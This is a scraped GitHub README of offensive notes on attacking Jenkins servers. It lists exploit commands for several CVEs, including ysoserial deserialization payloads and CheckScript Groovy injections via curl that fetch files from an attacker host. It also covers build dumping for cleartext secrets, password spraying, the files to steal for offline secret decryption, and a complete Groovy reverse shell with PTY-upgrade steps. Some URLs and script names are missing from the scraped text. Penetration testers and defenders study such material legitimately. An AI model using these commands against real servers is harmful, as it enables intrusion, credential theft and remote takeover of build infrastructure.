Skip to content
Notes about attacking Jenkins servers
Branch: master
Clone or download
Guillaume Quéré
Guillaume Quéré [add] RCE in git plugin
Latest commit b9c7f36 Sep 16, 2019
Type Name Latest commit message Commit time
Failed to load latest commit information.
dump_builds [fix] Legacy argument call removed Jul 25, 2019
offline_decryption [add] Add other RCEs samples Aug 8, 2019
password_spraying [add] Password spraying! Sep 16, 2019
rce [add] Offline decryption script for jenkins secrets Nov 21, 2018 [add] RCE in git plugin Sep 16, 2019
pwn_jenkins.png [add] Logo Aug 8, 2019

Remote Code Execution

Deserialization RCE in old Jenkins (CVE-2015-8103, Jenkins 1.638 and older)

Use ysoserial to generate a payload. Then RCE using this script:

java -jar ysoserial-master.jar CommonsCollections1 'wget myip:myport -O /tmp/' > payload.out
./ jenkins_ip jenkins_port payload.out

Authentication/ACL bypass (CVE-2018-1000861, Jenkins <2.150.1)

Jenkins Advisory

Details here.

If the Jenkins requests authentication but returns valid data using the following request, it is vulnerable:

curl -k -4 -s

Metaprogramming RCE in Jenkins Plugins (CVE-2019-100300{0,1,2})

Jenkins Advisory

Original RCE vulnerability here, full exploit here.

Alternative RCE with Overall/Read and Job/Configure permissions here.

CheckScript RCE in Jenkins (CVE-2019-10030{29,30})

Jenkins Advisory, Credits.

Check if a Jenkins instance is vulnerable (needs Overall/Read permissions) with some Groovy:

curl -k -4 -X POST "" -d "sandbox=True" -d 'value=class abcd{abcd(){sleep(5000)}}'

Execute arbitraty bash commands:

curl -k -4 -X POST "" -d "sandbox=True" -d 'value=class abcd{abcd(){"wget xx.xx.xx.xx/bla.txt".execute()}}'

If you don't immediately get a reverse shell you can debug by throwing an exception:

curl -k -4 -X POST "" -d "sandbox=True" -d 'value=class abcd{abcd(){def proc="id".execute();def os=new StringBuffer();proc.waitForProcessOutput(os, System.err);throw new Exception(os.toString())}}'

Git plugin (<3.12.0) RCE in Jenkins (CVE-2019-10392)

Jenkins Advisory, Credits.

This one will only work is a user has the 'Jobs/Configure' rights in the security matrix so it's very specific.

Dumping builds to find cleartext secrets

Use this script to dump build console outputs and build environment variables to hopefully find cleartext secrets.

usage: [-h] [-u USER] [-p PASSWORD] [-o OUTPUT_DIR]
                              [-d] [-l] [-r]
                              url [url ...]

Dump all available info from Jenkins

positional arguments:

optional arguments:
  -h, --help            show this help message and exit
  -u USER, --user USER
  -p PASSWORD, --password PASSWORD
  -o OUTPUT_DIR, --output-dir OUTPUT_DIR
  -d, --downgrade_ssl   Downgrade SSL to use RSA
  -l, --last            Dump only the last build of each job
  -r, --recover_from_failure
                        Recover from server failure, skip all existing

Password spraying

Use this python script or this powershell script.

Files to copy after compromission

These files are needed to decrypt Jenkins secrets:

  • secrets/master.key
  • secrets/hudson.util.Secret

Such secrets can usually be found in:

  • credentials.xml
  • jobs/.../build.xml

Here's a regexp to find them:

grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

Decrypt Jenkins secrets offline

Use this script to decrypt previsously dumped secrets.

Usage: <jenkins_base_path>
or: <master.key> <hudson.util.Secret> [credentials.xml]
or: -i <path> (interactive mode)

Groovy Scripts

Decrypt Jenkins secrets from Groovy


Command execution from Groovy

def proc = "id".execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);

For multiline shell commands, use the following shell syntax trick (example includes bind shell):


Reverse shell from Groovy

String host="myip";
int port=1234;
String cmd="/bin/bash";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(;while(pe.available()>0)so.write(;while(si.available()>0)po.write(;so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

I'll leave this reverse shell tip to recover a fully working PTY here in case anyone needs it:

python -c 'import pty; pty.spawn("/bin/bash")'
^Z bg
stty -a
echo $TERM
stty raw -echo
export TERM=...
stty rows xx columns yy
You can’t perform that action at this time.